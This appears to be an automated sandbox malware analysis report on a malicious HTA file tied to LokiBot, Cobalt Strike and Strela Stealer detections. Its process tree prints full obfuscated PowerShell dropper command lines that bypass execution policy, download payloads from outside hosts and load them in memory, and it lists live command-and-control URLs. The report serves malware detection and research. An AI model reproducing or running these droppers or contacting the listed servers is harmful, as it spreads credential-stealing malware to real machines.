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Windows
Analysis Report
bestgirlfriendwhowintheheartwithentirelifegivenubestthigns.hta
Overview
General Information
Detection
Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Lokibot
Yara detected Powershell download and execute
Yara detected Strela Stealer
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected aPLib compressed binary
Compiles C# or VB.Net code
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: AspNetCompiler Execution
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 6676 cmdline:
mshta.exe "C:\Users\ user\Deskt op\bestgir lfriendwho winthehear twithentir elifegiven ubestthign s.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - powershell.exe (PID: 6884 cmdline:
"C:\Window s\sySTeM32 \wIndOWSpo weRShEll\V 1.0\POwERs HeLl.EXE" "pOWersHEL l -E X by Pass -Nop -W 1 - C DE VICecrEdEn tialDEploy menT ; i nvoke-eXPr EssIOn($(i nvOKE-eXPr EsSION('[s YStem.TEXt .ENcODiNg] '+[chAR]58 +[ChAR]58+ 'UtF8.gETs trInG([sYs tem.cONVEr t]'+[cHAr] 58+[ChAR]0 x3a+'frOMB ASE64STriN g('+[ChAr] 34+'JHBmWH RRICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgPSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IGFkZC10eV BlICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLW1l bUJlcmRlRm luSVRpT24g ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAnW0RsbE ltcG9ydCgi VVJMTU9OLk RMbCIsICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg Q2hhclNldC A9IENoYXJT ZXQuVW5pY2 9kZSldcHVi bGljIHN0YX RpYyBleHRl cm4gSW50UH RyIFVSTERv d25sb2FkVG 9GaWxlKElu dFB0ciAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIF pUa1puTFpU Z1RCLHN0cm luZyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIEZr LHN0cmluZy AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIGxEQyx1 aW50ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgSG FwT1l2aWhj LEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIE5qUmNk Q2pXKTsnIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLU5hTWUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAiT3JjWU R2USIgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAt TkFtZXNwQW NFICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgUEJv c0lTUiAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1QYXNzVGhy dTsgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAkcG ZYdFE6OlVS TERvd25sb2 FkVG9GaWxl KDAsImh0dH A6Ly8xOTIu My4yNDMuMT M2LzMzL3Nl ZW15YmVzdH RoaW5nc3do aWNoY2FsbH lvdWJhYnln aXJsd2hpY2 hnaXZldWhv dGNoaWNrcy 50SUYiLCIk RW5WOkFQUE RBVEFcc2Vl bXliZXN0dG hpbmdzd2hp Y2hjYWxseW 91YmFieWdp cmx3aGljaG dpdmV1aC52 YlMiLDAsMC k7U3RBUnQt U0xlRVAoMy k7SUVYICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IiRlblY6QV BQREFUQVxz ZWVteWJlc3 R0aGluZ3N3 aGljaGNhbG x5b3ViYWJ5 Z2lybHdoaW NoZ2l2ZXVo LnZiUyI='+ [ChaR]34+' ))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 6912 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 4592 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -EX byPass -Nop -W 1 -C DEVICe crEdEntial DEploymenT MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 5104 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\dnftngtc \dnftngtc. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 4408 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SF0FC.tmp" "c:\Users \user\AppD ata\Local\ Temp\dnftn gtc\CSC42D 1BD9B7A4B4 04E9A5CB58 F4B22157.T MP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 7068 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seemy bestthings whichcally oubabygirl whichgiveu h.vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 2504 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' aWVYICggKC gnM1pEaW1h Z2VVcmwgPS BJdWFodHRw czovLzEwMT cuZmlsZW1h aWwuY29tL2 FwaS9maWxl L2dldD9maW xla2V5PTJB YV9iV285Um V1NDV0N0JV MWtWZ3NkOX BUOXBnU1Ns dlN0R3JuVE lDZkZobVQn KydLJysnaj NMQzZTUXRJ Y09jX1QzNX cmcGtfdmlk PWZkNGY2MT QnKydiYjIw JysnOWM2Mm MxNzMwJysn OTQ1MTc2YT A5MCcrJzRm IEl1JysnYT szWkR3ZWJD bCcrJ2llbn QgPSBOZXct T2JqZWN0IF N5cycrJ3Rl bS5OJysnZX QuV2ViQ2xp ZW50OzNaRG ltYWdlQnl0 ZXMgPSAzWk R3ZWJDbGll bnQuRG93bm xvYWREYXRh KDNaRGltYW dlVXJsKTsz WkRpbWFnZV RleHQgPSBb U3lzdGVtLl RleHQuRW5j b2RpbmddOj pVVEY4Lkcn KydldFN0cm luZycrJygz WkRpbWFnZU J5dGVzKTsz WkRzdGFydE ZsJysnYWcg PSBJdWE8PE JBU0U2NF9T VEFSVD4+SX VhOzNaRGVu ZEZsYWcgPS BJdWE8PEJB U0U2NF9FTk Q+Pkl1Jysn YTszWkRzdG FydEluZGV4 ID0gM1pEaW 1hZ2UnKydU ZXh0LkluZG V4T2YoM1pE c3RhcnRGbG FnKTszWkRl bmRJbmRleC A9IDNaRGlt YWdlVGV4dC 5JbmRleE9m KDNaRGVuZE ZsJysnYWcp OzNaRHN0YX J0SW5kZXgg LWdlIDAgLW FuZCAzWkRl bmRJbmRleC AtZ3QgM1pE c3RhcnRJbm RleDszWkRz dGFydEluZG V4ICs9IDNa RHN0YXJ0Rm xhZy5MZW5n dGg7M1pEYm FzZTY0TGVu Z3RoID0gM1 onKydEZW5k SW5kZXggLS AzWkRzdGFy dEluZGV4Jy snOzNaJysn RGJhc2U2Jy snNENvbW1h bmQgPSAzWk RpbWFnZVRl eHQuU3Vic3 RyaW5nKDNa RHN0YXJ0SW 5kZXgsIDNa RGInKydhc2 U2NExlbmcn Kyd0aCk7M1 pEYmFzZTY0 UmV2ZXJzZW QgPSAtam9p biAoM1pEYm FzZTY0Q29t bWFuZC5Ub0 NoYXJBcnJh eSgpIHp3di BGb3JFYWNo LU9iamVjdC B7IDNaRF8g JysnfSlbLS crJzEuLi0o M1pEYmFzZT Y0Q29tbWFu ZC5MZW5ndC crJ2gpXTsz WkRjb21tYW 5kQnl0ZXMg PSBbU3lzdG VtLkNvbnZl cnRdOjpGcm 9tQmFzZTY0 U3RyaW5nKD NaRGJhc2U2 NFJldmVyc2 UnKydkKTsz WkRsb2FkZW RBc3NlbWJs eSA9IFtTeX N0ZW0uUmVm bGUnKydjdG lvbi5Bc3Nl bWJseV06Ok xvYWQoM1pE Y29tbWFuZE J5dGUnKydz KTszWkR2YW lNZXRob2Qg PSBbZG5saW IuSU8uSG9t ZScrJ10uR2 V0TWV0aG9k KEl1YVZBSU l1YSk7Jysn M1pEdmFpTW V0aG9kLklu dm9rZSgzWk RudWxsLCBA KEl1YXR4dC 5LTEdPTC8z My82MzEuMz QyLjMuMjkx Ly86cCcrJ3 R0aEl1YScr JywgSXVhZC crJ2VzYXRp dmFkb0l1YS wgSXVhZGVz YXRpdmFkb0 l1YSwgSXVh ZGVzYXRpdi crJ2Fkb0l1 YSwgSXVhYX NwbmV0X2Nv bXBpbGVySX VhLCBJdWFk ZXNhdGknKy d2YWRvSXVh LCBJdWFkZX NhdGl2YWRv SXVhLEl1Jy snYWRlc2F0 aXZhZG9JdW EsSXVhZGVz YXRpdmFkb0 l1YSxJdWFk ZXNhdGl2YW RvSXUnKydh LEl1YWRlc2 F0aXZhZG9J dScrJ2EsSX VhZGVzYXRp dmFkb0l1YS xJJysndWEx SXVhLEl1YW Rlc2F0aXZh ZG9JdWEpJy snKTsnKSAg LUNSZXBsYW NlKFtDaEFy XTczK1tDaE FyXTExNytb Q2hBcl05Ny ksW0NoQXJd MzkgLUNSZX BsYWNlKFtD aEFyXTUxK1 tDaEFyXTkw K1tDaEFyXT Y4KSxbQ2hB cl0zNi1DUm VwbGFjZSAg KFtDaEFyXT EyMitbQ2hB cl0xMTkrW0 NoQXJdMTE4 KSxbQ2hBcl 0xMjQpKQ== ';$OWjuxd = [system. Text.encod ing]::UTF8 .GetString ([system.C onvert]::F rombase64S tring($cod igo));powe rshell.exe -windowst yle hidden -executio npolicy by pass -NoPr ofile -com mand $OWju xD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7116 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5820 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "ieX ( (('3ZDima geUrl = Iu ahttps://1 017.filema il.com/api /file/get? filekey=2A a_bWo9Reu4 5t7BU1kVgs d9pT9pgSSl vStGrnTICf FhmT'+'K'+ 'j3LC6SQtI cOc_T35w&p k_vid=fd4f 614'+'bb20 '+'9c62c17 30'+'94517 6a090'+'4f Iu'+'a;3Z DwebCl'+'i ent = New- Object Sys '+'tem.N'+ 'et.WebCli ent;3ZDima geBytes = 3ZDwebClie nt.Downloa dData(3ZDi mageUrl);3 ZDimageTex t = [Syste m.Text.Enc oding]::UT F8.G'+'etS tring'+'(3 ZDimageByt es);3ZDsta rtFl'+'ag = Iua<<BAS E64_START> >Iua;3ZDen dFlag = Iu a<<BASE64_ END>>Iu'+' a;3ZDstart Index = 3Z Dimage'+'T ext.IndexO f(3ZDstart Flag);3ZDe ndIndex = 3ZDimageTe xt.IndexOf (3ZDendFl' +'ag);3ZDs tartIndex -ge 0 -and 3ZDendInd ex -gt 3ZD startIndex ;3ZDstartI ndex += 3Z DstartFlag .Length;3Z Dbase64Len gth = 3Z'+ 'DendIndex - 3ZDstar tIndex'+'; 3Z'+'Dbase 6'+'4Comma nd = 3ZDim ageText.Su bstring(3Z DstartInde x, 3ZDb'+' ase64Leng' +'th);3ZDb ase64Rever sed = -joi n (3ZDbase 64Command. ToCharArra y() zwv Fo rEach-Obje ct { 3ZD_ '+'})[-'+' 1..-(3ZDba se64Comman d.Lengt'+' h)];3ZDcom mandBytes = [System. Convert]:: FromBase64 String(3ZD base64Reve rse'+'d);3 ZDloadedAs sembly = [ System.Ref le'+'ction .Assembly] ::Load(3ZD commandByt e'+'s);3ZD vaiMethod = [dnlib.I O.Home'+'] .GetMethod (IuaVAIIua );'+'3ZDva iMethod.In voke(3ZDnu ll, @(Iuat xt.KLGOL/3 3/631.342. 3.291//:p' +'tthIua'+ ', Iuad'+' esativadoI ua, Iuades ativadoIua , Iuadesat iv'+'adoIu a, Iuaaspn et_compile rIua, Iuad esati'+'va doIua, Iua desativado Iua,Iu'+'a desativado Iua,Iuades ativadoIua ,Iuadesati vadoIu'+'a ,Iuadesati vadoIu'+'a ,Iuadesati vadoIua,I' +'ua1Iua,I uadesativa doIua)'+') ;') -CRepl ace([ChAr] 73+[ChAr]1 17+[ChAr]9 7),[ChAr]3 9 -CReplac e([ChAr]51 +[ChAr]90+ [ChAr]68), [ChAr]36-C Replace ([ ChAr]122+[ ChAr]119+[ ChAr]118), [ChAr]124) )" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - aspnet_compiler.exe (PID: 2736 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_compil er.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.95/simple/five/fre.php"]}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot | Yara detected Lokibot | Joe Security | ||
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Click to see the 21 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Loki_1 | Loki Payload | kevoreilly |
| |
Lokibot | detect Lokibot in memory | JPCERT/CC Incident Response Group |
| |
Click to see the 24 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |